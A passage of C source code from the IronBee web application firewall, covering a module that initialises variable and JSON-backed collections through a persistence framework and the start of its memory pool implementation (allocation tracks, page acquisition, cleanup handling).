*)ib_list_node_data_const(node); if (strstr(json_file, JSON_URI_PREFIX) == NULL) { ib_log_error(ib, "JSON URI Malformed: %s", json_file); return IB_EINVAL; } /* Move the character pointer past the prefix so only the file remains. */ json_file += (sizeof(JSON_URI_PREFIX)-1); json_cfg->file = ib_util_relative_file(mm, cfg->config_file, json_file); if (json_cfg->file == NULL) { return IB_EALLOC; } *(json_t **)impl = json_cfg; return IB_OK; } #endif /* ENABLE_JSON */ /** * Var implementation data. */ struct var_t { const ib_list_t *fields; /**< Fields to return. */ }; typedef struct var_t var_t; /** * Helper function to var_create_fn() that populates a list of fields. * * @param[in] ib IronBee engine. * @param[in] collection_name Collection name. Used for logging. * @param[in] mm Memory Manager for allocations. * @param[in] node The list node to start creating fields from. * @param[out] fields The list to populate. * * @returns * - IB_OK On success. * - IB_EALLOC On allocation errors. * - Other on transformation or parsing errors. */ static ib_status_t var_create_fields( ib_engine_t *ib, const char *collection_name, ib_mm_t mm, const ib_list_node_t *node, ib_list_t *fields ) { /* For the rest of the nodes... */ for ( ; node != NULL; node = ib_list_node_next_const(node)) { ib_status_t rc; const char *assignment = (const char *)ib_list_node_data_const(node); const char *eqsign = index(assignment, '='); const ib_field_t *field = NULL; ib_list_t *tfn_insts = NULL; /* Assume an empty assignment if no equal sign is included. */ if (eqsign == NULL) { ib_bytestr_t *bs = NULL; rc = ib_bytestr_dup_nulstr(&bs, mm, ""); if (rc != IB_OK) { ib_log_error(ib, "Failed to create byte string."); return rc; } /* The whole assignment is just a variable name. */ rc = ib_field_create( (ib_field_t **)&field, mm, assignment, strlen(assignment), IB_FTYPE_BYTESTR, ib_ftype_bytestr_in(bs)); } else if (*(eqsign + 1) == '\0') { ib_bytestr_t *bs = NULL; rc = ib_bytestr_dup_nulstr(&bs, mm, ""); if (rc != IB_OK) { ib_log_error(ib, "Failed to create byte string."); return rc; } /* The assignment is a var name + '='. */ rc = ib_field_create( (ib_field_t **)&field, mm, assignment, strlen(assignment) - 1, /* -1 drops the '=' from the name. */ IB_FTYPE_BYTESTR, ib_ftype_bytestr_in(bs)); } else { const char *value; ib_list_t *tfn_fields = NULL; rc = ib_list_create(&tfn_fields, mm); if (rc != IB_OK) { ib_log_error(ib, "Failed to create transformation list."); return rc; } rc = ib_cfg_parse_target_string(mm, eqsign+1, &value, tfn_fields); if (rc != IB_OK) { ib_log_error(ib, "Failed to parse target value."); } rc = ib_list_create(&tfn_insts, mm); if (rc != IB_OK) { ib_log_error(ib, "Failed to create transformation list."); return rc; } rc = ib_rule_tfn_fields_to_inst(ib, mm, tfn_fields, tfn_insts); if (rc != IB_OK) { ib_log_error(ib, "Failed to build transformations."); return rc; } /* Make sure value is a copy, not the original string. */ if (value == eqsign+1) { value = ib_mm_strdup(mm, value); if (value == NULL) { return IB_EALLOC; } } /* Normal assignment. eqsign is the end of the name. * eqsign + 1 is the start of the assigned value. */ ib_field_create_bytestr_alias( (ib_field_t **)&field, mm, assignment, eqsign - assignment, (const uint8_t *)IB_S2SL(value)); } /* Check the field creation in the above if-then-else. */ if (rc != IB_OK) { ib_log_error( ib, "Failed to create field for assignment %s", assignment); return IB_EALLOC; } /* Make sure we didn't somehow forget to set the field. */ assert(field != NULL); /* Apply transformations to the field. */ if (tfn_insts != NULL) { const ib_list_node_t *tfn_node; IB_LIST_LOOP_CONST(tfn_insts, tfn_node) { const ib_field_t *tmp_field; const ib_transformation_inst_t *tfn_inst = (const ib_transformation_inst_t *)ib_list_node_data_const(tfn_node); rc = ib_transformation_inst_execute(tfn_inst, mm, field, &tmp_field); if (rc != IB_OK) { ib_log_error( ib, "Failed to run transformation %s for InitCollection. " "Not initializing %s in %s: %s", ib_transformation_name(ib_transformation_inst_transformation(tfn_inst)), field->name, collection_name, ib_status_to_string(rc)); /* As above, failure should not kill the whole config. */ return IB_OK; } /* Promote the temporary field to the new current field. */ field = tmp_field; } } rc = ib_list_push(fields, (void *)field); if (rc != IB_OK) { ib_log_error(ib, "Failed to push field onto field list."); return rc; } } return IB_OK; } /** * Create vars. Calls var_create_fields() to do much of the work. * * @param[in] ib IronBee engine. * @param[in] params Parameters. * @param[out] impl A new @ref var_t to be constructed. * @param[in] cbdata Callback data. Unused. * * @returns * - IB_OK On success. * - IB_EINVAL On an invalid input from the config file. * - IB_EALLOC On allocation errors. * - Other on sub call errors. */ static ib_status_t var_create_fn( ib_engine_t *ib, const ib_list_t *params, void *impl, void *cbdata ) { assert(ib != NULL); assert(params != NULL); assert(impl != NULL); assert(cbdata == NULL); ib_mm_t mm = ib_engine_mm_main_get(ib); var_t *var; ib_list_t *fields; const ib_list_node_t *node; ib_status_t rc; const char *collection_name; /* Used in logging. */ var = ib_mm_alloc(mm, sizeof(*var)); if (var == NULL) { return IB_EALLOC; } rc = ib_list_create(&fields, mm); if (rc != IB_OK) { ib_log_error(ib, "Failed to create field list."); return rc; } /* The collection name. We will skip this. */ node = ib_list_first_const(params); if (node == NULL) { ib_log_error(ib, "VAR requires at least 2 arguments: name and uri."); return IB_EINVAL; } collection_name = (const char *)ib_list_node_data_const(node); /* The URI. We will skip this. */ node = ib_list_node_next_const(node); /* If there is no URI, this is an empty collection. */ if (node != NULL) { /* Skip the URI parameter. */ node = ib_list_node_next_const(node); /* Build fields. */ rc = var_create_fields(ib, collection_name, mm, node, fields); if (rc != IB_OK) { return rc; } } var->fields = fields; *(var_t **)impl = var; return IB_OK; } /** * Load fields created by var_create_fn(). * * @param[in] impl The @ref var_t created by var_create_fn(). * @param[in] tx The current transaction. * @param[in] key Unused. * @param[in] key_len Unused. * @param[in] fields The output fields. * @param[in] cbdata Callback data. Unused. * * @return * - IB_OK On success. * - IB_EOTHER On unexpected list manipulation errors. */ static ib_status_t var_load_fn( void *impl, ib_tx_t *tx, const char *key, size_t key_len, ib_list_t *fields, void *cbdata ) { assert(impl != NULL); assert(tx != NULL); var_t *var = (var_t *)impl; const ib_list_node_t *node; assert(var->fields != NULL); IB_LIST_LOOP_CONST(var->fields, node) { ib_status_t rc; const ib_field_t *field = (const ib_field_t *)ib_list_node_data_const(node); assert(field != NULL); rc = ib_list_push(fields, (void *)field); if (rc != IB_OK) { ib_log_error_tx(tx, "Failed to populate fields."); return rc; } } return IB_OK; } /** * Instantiate an instance of @a type and map @a collection_name with it. * * This function requests that the persistence framework create * a new named store using a random UUID as the name can calling * ib_persist_fw_create_store(). That collection named @a collection_name * is then mapped to that store, meaning that it will be populated * and persisted in the course of a transaction. * * @param[in] cp The configuration parser. * @param[in] ctx The configuration context. * @param[in] type The type being mapped. * @param[in] cfg The configuration used in this module. * @param[in] collection_name The name of the collection. * @param[in] params List of parameters. * The first element is the name of the collection. * The second element is the URI. * The rest are options. * @returns * - IB_OK On success. * - Other on failure of ib_uuid_create_v4_from_mp() or @c ib_persist_fw_* calls. */ static ib_status_t domap( ib_cfgparser_t *cp, ib_context_t *ctx, const char *type, init_collection_cfg_t *cfg, const char *collection_name, const ib_list_t *params ) { char store_name[37]; ib_status_t rc; rc = ib_uuid_create_v4(store_name); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to create UUIDv4 store."); return rc; } rc = ib_persist_fw_create_store( cfg->persist_fw, ctx, type, store_name, params); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to create store %s", store_name); return rc; } rc = ib_persist_fw_map_collection( cfg->persist_fw, ctx, collection_name, IB_S2SL("no key"), 0, /* No expiration. */ store_name); if (rc != IB_OK) { ib_cfg_log_error( cp, "Failed to map store %s to collection %s.", store_name, collection_name); return rc; } return IB_OK; } /** * Implement the InitCollection directive. * * @param[in] cp Configuration parser. * @param[in] directive InitCollection. * @param[in] vars List of `char *` types making up the parameters. * @param[in] cfg The module configuration. * * @returns * - IB_OK On success. * - IB_EINVAL If an error in the configuration parameters is detected. * - IB_EALLOC On memory allocation errors. * - Other when interacting with IronBee API. */ static ib_status_t init_collection_common( ib_cfgparser_t *cp, const char *directive, const ib_list_t *vars, init_collection_cfg_t *cfg ) { assert(cp != NULL); assert(directive != NULL); assert(vars != NULL); assert(cfg != NULL); assert(cfg->persist_fw != NULL); ib_status_t rc; const ib_list_node_t *node; const char *name; /* The name of the collection. */ const char *uri; /* The URI to the resource. */ ib_context_t *ctx; ib_cfg_log_debug(cp, "Initializing collection."); /* Set the configuration file before doing much else. */ cfg->config_file = ib_cfgparser_curr_file(cp); rc = ib_cfgparser_context_current(cp, &ctx); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to retrieve current config context."); goto exit_rc; } /* Get the collection name string */ node = ib_list_first_const(vars); if (node == NULL) { ib_cfg_log_error(cp, "%s: No collection name specified", directive); goto exit_EINVAL; } name = (const char *)ib_list_node_data_const(node); if (name == NULL) { ib_cfg_log_error(cp, "Name parameter unexpectedly NULL."); goto exit_EINVAL; } /* Get the collection uri. */ node = ib_list_node_next_const(node); /* If there is only the single element (name) then create an empty col. */ if (node == NULL) { rc = domap(cp, ctx, VAR_TYPE, cfg, name, vars); goto exit_rc; } /* Otherwise, the second value is the URI. */ uri = (const char *)ib_list_node_data_const(node); if (uri == NULL) { ib_cfg_log_error(cp, "URI parameter unexpectedly NULL."); goto exit_EINVAL; } if (strncmp(uri, "vars:", sizeof("vars:")) == 0) { rc = domap(cp, ctx, VAR_TYPE, cfg, name, vars); if (rc != IB_OK) { goto exit_rc; } } #if ENABLE_JSON else if (strncmp(uri, JSON_URI_PREFIX, sizeof(JSON_URI_PREFIX)-3) == 0) { rc = domap(cp, ctx, JSON_TYPE, cfg, name, vars); if (rc != IB_OK) { goto exit_rc; } } #endif else { ib_cfg_log_error(cp, "URI \"%s\" not supported for persistence.", uri); goto exit_EINVAL; } rc = ib_var_source_register( NULL, ib_engine_var_config_get(cp->ib), IB_S2SL(name), IB_PHASE_NONE, IB_PHASE_NONE ); if (rc != IB_EEXIST && rc != IB_OK) { ib_cfg_log_error( cp, "Failed to register collection %s: %s", name, ib_status_to_string(rc)); goto exit_rc; } /* Clear the configuration file to expose errors. */ cfg->config_file = NULL; return IB_OK; exit_rc: cfg->config_file = NULL; return rc; exit_EINVAL: cfg->config_file = NULL; return IB_EINVAL; } /** * Implement the IndexCollection directive. * * param[in] cp The configuration parser. * param[in] directive InitCollection. * param[in] vars Argument list to the directive. * param[in] cbdata An @ref init_collection_cfg_t. * * @returns results of init_collection_common(); */ static ib_status_t init_collection_fn( ib_cfgparser_t *cp, const char *directive, const ib_list_t *vars, void *cbdata ) { return init_collection_common( cp, directive, vars, (init_collection_cfg_t *)cbdata ); } /** * Register directives so as to define a callback data struct. * * @param[in] ib IronBee engine. * @param[in] cfg The module configuration. * * @returns * - IB_OK On Success. * - Other on failure of ib_config_register_directives(). */ static ib_status_t register_directives( ib_engine_t *ib, init_collection_cfg_t *cfg) { assert(ib != NULL); assert(cfg != NULL); ib_status_t rc; rc = ib_config_register_directive( ib, "InitCollection", IB_DIRTYPE_LIST, (ib_void_fn_t)init_collection_fn, NULL, cfg, NULL, NULL ); if (rc != IB_OK) { return rc; } return IB_OK; } /** * Module init. * * @param[in] ib IronBee engine. * @param[in] module Module structure. * @param[in] cbdata Callback data. * * @returns * - IB_OK On success. */ static ib_status_t init_collection_init( ib_engine_t *ib, ib_module_t *module, void *cbdata ) { assert(ib != NULL); assert(module != NULL); ib_status_t rc; ib_mm_t mm = ib_engine_mm_main_get(ib); init_collection_cfg_t *cfg; cfg = ib_mm_alloc(mm, sizeof(*cfg)); if (cfg == NULL) { return IB_EALLOC; } cfg->persist_fw = NULL; rc = ib_persist_fw_create(ib, module, &(cfg->persist_fw)); if (rc != IB_OK) { ib_log_error( ib, "Failed to register module " MODULE_NAME_STR " with persistence module."); return rc; } rc = register_directives(ib, cfg); if (rc != IB_OK) { ib_log_error(ib, "Failed to register directives."); return rc; } rc = ib_persist_fw_register_type( cfg->persist_fw, ib_context_main(ib), VAR_TYPE, var_create_fn, /* Create. */ NULL, NULL, /* Destroy. */ NULL, var_load_fn, /* Load. */ NULL, NULL, /* Store. */ NULL); if (rc != IB_OK) { ib_log_error(ib, "Failed to register var type."); return rc; } #if ENABLE_JSON rc = ib_persist_fw_register_type( cfg->persist_fw, ib_context_main(ib), JSON_TYPE, json_create_fn, /* Create. */ cfg, NULL, /* Destroy. */ NULL, json_load_fn, /* Load. */ NULL, NULL, /* Store. */ NULL); if (rc != IB_OK) { ib_log_error(ib, "Failed to register json type."); return rc; } #endif return IB_OK; } IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /* Header defaults. */ MODULE_NAME_STR, /* Module name. */ IB_MODULE_CONFIG_NULL, /* NULL Configuration: NULL, 0, NULL, NULL */ NULL, /* Config map. */ NULL, /* Directive map. Dynamically built. */ init_collection_init, /* Initialization. */ NULL, /* Callback data. */ NULL, /* Finalization. */ NULL, /* Callback data. */ );
crustymonkey/ironbee
util/mpool.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Memory Pool Implementation * * See ib_mpool_t for details. * * @author <NAME> <<EMAIL>> * @nosubgrouping */ #include "ironbee_config_auto.h" #include <ironbee/mpool.h> #include <ironbee/lock.h> #ifdef IB_MPOOL_VALGRIND #include <valgrind/memcheck.h> #endif #include <assert.h> #include <stdarg.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> /** * A single point in memory for us to return when a zero length buffer is * returned. */ static char s_zero_length_buffer[1]; /** * @name Memory Pool Configuration * * Adjusting the values of these macros can significantly change the time and * space performance of memory pool. See ib_mpool_analyze(). */ /**@{*/ /** * Size of redzones to place between allocations. * * If this is non-zero, then: * - A gap of this size will be placed before and after the allocation. This * effectively means that a page needs 2*IB_MPOOL_REDZONE_SIZE more bytes * available than usual to fulfill an allocation. * - If IB_MPOOL_VALGRIND is defined then these gaps are marked as red zones * for valgrind. * * Note that the cost of a single redzone is added to each allocation for the * purpose of bytes in use and ib_mpool_analyze(). */ #ifdef IB_MPOOL_VALGRIND #define IB_MPOOL_REDZONE_SIZE 8 #else #define IB_MPOOL_REDZONE_SIZE 0 #endif /** * Default Page Size in bytes. * * Used by ib_mpool_create(). Large page sizes can mean faster allocation, * clearing, and destruction (especially the latter two), but can also mean * more memory waste. * * @sa ib_mpool_create() * @sa IB_MPOOL_POINTER_PAGE_SIZE **/ #define IB_MPOOL_DEFAULT_PAGE_SIZE 4096 /** * Pointer Page Size in pointers. * * Large allocations are passed directly to malloc and the pointer stored in * a special pointer page. This macro defines the number of pointers per * pointer page and has a similar effect as IB_MPOOL_POINTER_PAGE_SIZE. * * If you have few large allocations, this can be made small to save memory. * If you have many large allocations, this can be made large to improve * performance. * * @sa IB_MPOOL_DEFAULT_PAGE_SIZE **/ #define IB_MPOOL_POINTER_PAGE_SIZE \ (IB_MPOOL_DEFAULT_PAGE_SIZE / sizeof(void *)) /** * The number of tracks. * * Defines the number of tracks for tracking small allocations. The smallest * track will handle allocations up to 2^IB_MPOOL_TRACK_ZERO_SIZE, the next * track will be handle allocations up to double that limit that are too * large for the smallest track, i.e., 2^IB_MPOOL_NUM_TRACKS+1 to * 2^(IB_MPOOL_NUM_TRACKS+1). * * With IB_MPOOL_TRACK_ZERO_SIZE, this macro defines what a small allocation * is, i.e., up to 2^(IB_MPOOL_TRACK_ZERO_SIZE+IB_MPOOL_NUM_TRACKS-1). * * Increasing this number, and hence the small allocation limit, can * significantly improve performance if it means many more allocations are * now small. However, it also increases the amount of memory used and * wasted. * * If you have many memory pools, consider lowering this number. If you have * very few, raise it significantly. * * @sa IB_MPOOL_TRACK_ZERO_SIZE **/ #define IB_MPOOL_NUM_TRACKS 6 /** * The size of track zero; actually log2 of size in bytes. * * Track zero will hold all allocations up to 2^IB_MPOOL_TRACK_ZERO_SIZE. * Subsequent tracks will each double the limit of the previous track (see * IB_MPOOL_NUM_TRACKS for further discussion). * * If this number is too large, then track zero will cover too wide a range, * leading to increased waste. If it is too small, then the lower tracks * will be underutilized, also leading to waste. * * @sa IB_MPOOL_NUM_TRACKS **/ #define IB_MPOOL_TRACK_ZERO_SIZE 5 /**@}*/ /* Basic Sanity Check -- Otherwise track number calculation fails. */ #if IB_MPOOL_NUM_TRACKS - IB_MPOOL_TRACK_ZERO_SIZE > 32 #error "IB_MPOOL_NUM_TRACKS - IB_MPOOL_TRACK_ZERO_SIZE > 32" #endif /* Structures */ /** See struct ib_mpool_page_t */ typedef struct ib_mpool_page_t ib_mpool_page_t; /** See struct ib_mpool_pointer_page_t */ typedef struct ib_mpool_pointer_page_t ib_mpool_pointer_page_t; /** See struct ib_mpool_cleanup_t */ typedef struct ib_mpool_cleanup_t ib_mpool_cleanup_t; /** * A page to hold small allocations. * * Small allocations are taken from pages. Pages are stored in tracks that * determine the range of allocations that can be taken from them. * * @sa ib_mpool_t */ struct ib_mpool_page_t { /** Next page in track. */ ib_mpool_page_t *next; /** Number of bytes used. */ size_t used; /** * First byte of page. * * Enough additional memory is allocated so that @c &page is the * beginning of an allocated region of memory page size bytes long. **/ char page; }; /** * A page to hold pointers to large allocations. * * Large allocations are directly allocated via malloc. Pointers to these * allocations are stored in pointer pages. * * @sa ib_mpool_t **/ struct ib_mpool_pointer_page_t { /** Next pointer page. */ ib_mpool_pointer_page_t *next; /** Index in @c pointers of next free pointer. */ size_t next_pointer; /** Pointers */ void *pointers[IB_MPOOL_POINTER_PAGE_SIZE]; }; /** * A cleanup function. * * Cleanup functions are stored in a singly linked list. * * @note This implementation is simple but assumes that cleanup functions are * relatively rare. If cleanup functions become frequent, a pointer page * style approach may worthwhile. **/ struct ib_mpool_cleanup_t { /** Next cleanup function. */ ib_mpool_cleanup_t *next; /** Function to call. */ ib_mpool_cleanup_fn_t function; /** Data to pass to function. */ void *function_data; }; /** * A memory pool. * * Allocations are handled in two cases. Smaller allocations are allocated * from larger pages, while larger allocations are directly malloced. This * approach reduces the number of mallocs() and frees() needed for small * allocations while maintaining simple data structures and algorithms. In * contrast, handling all sizes via pages and tracks would require a variable * number of tracks and a variable pagesize, both of which would greatly * complicate the code. * * Pages for small allocations are stored in tracks. Track zero handles * allocations of sizes 1 up to 2^IB_MPOOL_TRACK_ZERO_SIZE. Track one handles * allocations that are too large for track zero and up to double the limit * of track zero. And so on. A large allocation is defined as one too large * to fit in the last track. * * For example, if IB_MPOOL_TRACK_ZERO_SIZE is 5 and IB_MPOOL_NUM_TRACKS is * 6, then: * * <table> * <tr><th>Track</th><th>Size Range</th></tr> * <tr><td>0</td> <td>0..32</td></tr> * <tr><td>1</td> <td>33..64</td></tr> * <tr><td>2</td> <td>65..128</td></tr> * <tr><td>3</td> <td>129..256</td></tr> * <tr><td>4</td> <td>257..512</td></tr> * <tr><td>5</td> <td>513..1024</td></tr> * </table> * * And large allocations are those of 1025 or more bytes. * * Each track is a singly linked list of pages. All pages except the first * are guaranteed to have too few bytes remaining to satisfy a request. E.g., * for track 4 above, all pages except the first have less than 512 bytes * remaining. * * When a small allocation is called for, fulfilled it is as simple as * checking the first page (if any) on the track, creating and pushing a new * page if necessary, and then allocating from that page. Allocating from a * page involves increasing its @c used counter and returning a pointer to the * appropriate location in the page. * * This approach was chosen because it allows for very fast allocations. The * downside is that it can have significant wastage. For example, in track 4 * above, a request for less than 512 bytes might fit on a later page but the * implementation will not search for that case. Wastage is ameliorated by * the use of multiple tracks. * * Large allocations are handled by calling malloc directly for the needed * number of bytes and storing the resulting pointer. The pointer needs to be * stored so that it can be freed when the pool is cleared or destroyed. * Large allocations may be common, so to avoid two mallocs for every large * allocations (one to store the pointer and one for the allocation), pointers * are aggregated into pointer pages. * * When a pool is destroyed all pages, pointer pages, cleanup nodes, and the * pool itself are freed. In contrast, when a pool is cleared, the pages, * pointer pages, and cleanup nodes are moved to free lists for future reuse. * Release functions similar to destroy except that if there is a parent pool * the pool is cleared and added to the free children list of the parent * pool. * * Finally, cleanup functions can be registered with a pool to be called on * clear or destroy. It is assumed that these are relatively rare. They are * thus stored in a simple singly linked list, with a new node being allocated * for each cleanup function. * * The implementation manages all of the memory it uses directly via malloc * and free. It could, instead, use itself for cleanup nodes and (if small * enough) pointer pages. It does not in order to better track client usage * vs its own usage. This can be useful to developers in understanding * usage patterns. See, e.g., ib_mpool_analyze(). **/ struct ib_mpool_t { /** * The name of the pool. * * This can be changed and accessed via ib_mpool_name() and * ib_mpool_setname(). It may also be NULL. Its has two purposes: * * - To allow the client to attach a string to the pool. * - To be displayed in messages/reports from ib_mpool_validate(), * ib_mpool_analyze(), and ib_mpool_debug_report(). **/ char *name; /** * The size of a page. * * This member can be set when the pool is created via * ib_mpool_create_ex(). It is the only configuration available to * clients. That this, and not other configuration parameters, are at * runtime and available to the client is partially historical and * partially because page size is in the sweet spot of utility to the * client and ease of implementation. **/ size_t pagesize; /** * Malloc function to use. * * ib_mpool_create() will use malloc(), ib_mpool_create_ex() allows the * client to pass in a pointer. **/ ib_mpool_malloc_fn_t malloc_fn; /** * Free function to use. * * ib_mpool_create() will use free(), ib_mpool_create_ex() allows the * client to pass in a pointer. **/ ib_mpool_free_fn_t free_fn; /** * Number of bytes allocated. * * The client can access this via ib_mpool_inuse(). It is also used by * ib_mpool_validate() and in reports. * * This member is the sum of all sizes allocated. As such, it includes * large allocations but does not include the overhead memory of any * memory pool structures. **/ size_t inuse; /** * Number of bytes allocated by large allocations. * * This is used by ib_mpool_validate() and in reports. **/ size_t large_allocation_inuse; /** * The parent memory pool. **/ ib_mpool_t *parent; /** * The next sibling. * * This pointer is considered to be part of the parent in terms of * locking. I.e., to modify this, the parent should be locked. **/ ib_mpool_t *next; /** * Singly linked list of all child pools. **/ ib_mpool_t *children; /** * End of children list. **/ ib_mpool_t *children_end; /** * Lock for multithreading support. * * This lock is only used in creation and destruction to allow * simultaneous creation/destruction of memory pools with a common * parent. Both operations must modify the parents children list and * this lock protects it. **/ ib_lock_t lock; /** * Tracks of pages. * * @sa ib_mpool_t **/ ib_mpool_page_t *tracks[IB_MPOOL_NUM_TRACKS]; /** * End of tracks. **/ ib_mpool_page_t *tracks_end[IB_MPOOL_NUM_TRACKS]; /** * Singly linked list of pointers page for large allocations. * * @sa ib_mpool_t **/ ib_mpool_pointer_page_t *large_allocations; /** * End of large allocations list. **/ ib_mpool_pointer_page_t *large_allocations_end; /** * Singly linked list of cleanup functions. * * @sa ib_mpool_t **/ ib_mpool_cleanup_t *cleanups; /** * End of cleanup list. **/ ib_mpool_cleanup_t *cleanups_end; /** * Singly linked list of free pages. * * @sa ib_mpool_t **/ ib_mpool_page_t *free_pages; /** * Singly linked list of free pointer pages. * * @sa ib_mpool_t **/ ib_mpool_pointer_page_t *free_pointer_pages; /** * Singly linked list of free cleanups. * * @sa ib_mpool_t **/ ib_mpool_cleanup_t *free_cleanups; /** * Singly linked list of free children. * * @sa ib_mpool_t **/ ib_mpool_t *free_children; }; /** * @name Helper functions for many things. */ /**@{*/ /** * The minimum page size. * * Any page size smaller than this will be changed to this. * * This macro is calculated from IB_MPOOL_TRACK_ZERO_SIZE and * IB_MPOOL_NUM_TRACKS. Do not change it. **/ #define IB_MPOOL_MINIMUM_PAGESIZE \ (1 << (IB_MPOOL_TRACK_ZERO_SIZE + IB_MPOOL_NUM_TRACKS - 1)) /** * Loop through a singly linked allowing for mutation. * * This macro loops over a singly linked list defined by its first node, * @a list. It provides a variable @a var of type @a vartype in the body, * that is set to each element in the list. * * An important property of this macro is that the next node is calculated * before the body of the loop is run. This allows the node pointed to by * @a var to be safely changed or removed. * * @code * IB_MPOOL_FOREACH(ib_mpool_t, child, mp->children) { * child->parent = NULL; * ib_mpool_destroy(child); * } * @endcode * * @param[in] vartype The *base type* of a node of @a list. * @param[in] var The *name* of a variable to a pointer to each node. * @param[in] list The first node of the list to iterate over. **/ #define IB_MPOOL_FOREACH(vartype, var, list) \ for ( \ vartype *imf_next = NULL, *var = (list); \ (var) != NULL && (imf_next = (var)->next, true); \ (var) = imf_next \ ) /** * The maximum size of an allocation for a page of track @a track_num. * * @param[in] track_num Track number. * @return Maximum size of allocation for track @a track_num. */ #define IB_MPOOL_TRACK_SIZE(track_num) \ (1 << (IB_MPOOL_TRACK_ZERO_SIZE + (track_num))) /** * Calculate the track number for an allocation of size @a size. * * @param[in] size Size of allocation in bytes. * @returns Track number to allocate from or IB_MPOOL_NUM_TRACKS if a large * allocation. **/ static size_t ib_mpool_track_number(size_t size) { if (size > IB_MPOOL_MINIMUM_PAGESIZE) { return IB_MPOOL_NUM_TRACKS; } /* Subtract 1 from size so that the most significant bit can tell us the * track number. We want tracks to go up to a power of 2 so that it is * possible for a page (also a power of 2) to be completely filled. * * By the previous check, we know we can store this in a 32 bit word, * which will help us find the index of the most significant bit. */ uint32_t v = (size - 1) >> (IB_MPOOL_TRACK_ZERO_SIZE - 1); uint32_t r = 0; if (v == 0) { return 0; } /* Special thanks to <NAME> for this code (public domain): * http://graphics.stanford.edu/~seander/bithacks.html#IntegerLogObvious */ { static const char LogTable256[256] = { /**@cond DoNotDocument*/ #define LT(n) n, n, n, n, n, n, n, n, n, n, n, n, n, n, n, n -1, 0, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, LT(4), LT(5), LT(5), LT(6), LT(6), LT(6), LT(6), LT(7), LT(7), LT(7), LT(7), LT(7), LT(7), LT(7), LT(7) /**@endcond*/ #undef LT }; unsigned int t, tt; // temporaries if ((tt = v >> 16)) { r = (t = tt >> 8) ? 24 + LogTable256[t] : 16 + LogTable256[tt]; } else { r = (t = v >> 8) ? 8 + LogTable256[t] : LogTable256[v]; } } return r; } /** * Remove a child pool from a parent pools child list. * * The parent should usually be locked before calling this. * * @param[in] child Child to remove from parent pool. */ static void ib_mpool_remove_child_from_parent(const ib_mpool_t *child) { assert(child != NULL); assert(child->parent != NULL); if (child->parent->children == child) { child->parent->children = child->next; if (child->next == NULL) { child->parent->children_end = NULL; } } else { /* Find node whose next node is child. */ ib_mpool_t *before_child = child->parent->children; while (before_child->next != child) { before_child = before_child->next; } before_child->next = child->next; if (child->next == NULL) { child->parent->children_end = before_child; } } return; } /**@}*/ /** * @name Helper functions for managing internal memory. */ /**@{*/ /** * Acquire a new page. * * Pops a page from the free list if available or allocates a new page if * not. The page returned should be considered uninitialized. * * @param[in] mp Memory pool to acquire page for. * @return Uninitialized page or NULL on allocation error. **/ static ib_mpool_page_t *ib_mpool_acquire_page( ib_mpool_t *mp ) { assert(mp != NULL); ib_mpool_page_t *mpage = NULL; if (mp->free_pages != NULL) { mpage = mp->free_pages; mp->free_pages = mp->free_pages->next; } else { mpage = mp->malloc_fn(sizeof(ib_mpool_page_t) + mp->pagesize - 1); } #ifdef IB_MPOOL_VALGRIND { int rc = VALGRIND_MAKE_MEM_NOACCESS(&(mpage->page), mp->pagesize); assert(rc < 2); } #endif return mpage; } /** * Acquire a new pointer page. * * Pops a pointer page from the free list if available or allocates a new * pointer page if not. The pointer page returned should be considered * uninitialized. * * @param[in] mp Memory pool to acquire pointer page for. * @return Uninitialized pointer page or NULL on allocation error. **/ static ib_mpool_pointer_page_t *ib_mpool_acquire_pointer_page( ib_mpool_t *mp ) { assert(mp != NULL); ib_mpool_pointer_page_t *ppage = NULL; if (mp->free_pointer_pages != NULL) { ppage = mp->free_pointer_pages; mp->free_pointer_pages = mp->free_pointer_pages->next; } else { ppage = mp->malloc_fn(sizeof(*ppage)); } return ppage; } /** * Acquire a new cleanup node. * * Pops a cleanup node from the free list if available or allocates a new * cleanup node if not. The cleanup node returned should be considered * uninitialized. * * @param[in] mp Memory pool to acquire cleanup node for. * @return Uninitialized cleanup node or NULL on allocation error. **/ static ib_mpool_cleanup_t *ib_mpool_acquire_cleanup( ib_mpool_t *mp ) { assert(mp != NULL); ib_mpool_cleanup_t *cleanup = NULL; if (mp->free_cleanups != NULL) { cleanup = mp->free_cleanups; mp->free_cleanups = mp->free_cleanups->next; } else { cleanup = mp->malloc_fn(sizeof(*cleanup)); } return cleanup; } /**@}*/ /** * @name Helper functions for ib_mpool_clear() and ib_mpool_destroy(). */ /**@{*/ /** * Call free on every large allocation of @a mp. * * @param[in] mp Memory pool to free large allocations for. **/ static void ib_mpool_free_large_allocations(ib_mpool_t *mp) { assert(mp != NULL); IB_MPOOL_FOREACH(ib_mpool_pointer_page_t, ppage, mp->large_allocations) { for ( size_t i = 0; i < IB_MPOOL_POINTER_PAGE_SIZE && ppage->pointers[i] != NULL; ++i ) { mp->free_fn(ppage->pointers[i]); } } return; } /** * Call every cleanup function for @a mp. * * @param[in] mp Memory pool to call cleanups for. **/ static void ib_mpool_call_cleanups(const ib_mpool_t *mp) { assert(mp != NULL); IB_MPOOL_FOREACH(ib_mpool_cleanup_t, cleanup, mp->cleanups) { cleanup->function(cleanup->function_data); } return; } /**@}*/ /** * @name Report Support * * These facilitate report generation for ib_mpool_analyze() and * ib_mpool_debug_report(). */ /**@{*/ /** Maximum length of one line of a report. */ #define IB_MPOOL_REPORT_MAX_LINE 1024 /** See struct ib_mpool_report_line_t */ typedef struct ib_mpool_report_line_t ib_mpool_report_line_t; /** See struct ib_mpool_report_t */ typedef struct ib_mpool_report_t ib_mpool_report_t; /** * A line of a report. */ struct ib_mpool_report_line_t { /** The line. */ char *line; /** Pointer to next report line. */ ib_mpool_report_line_t *next; }; /** * A linked list of lines. * * This structure holds a linked 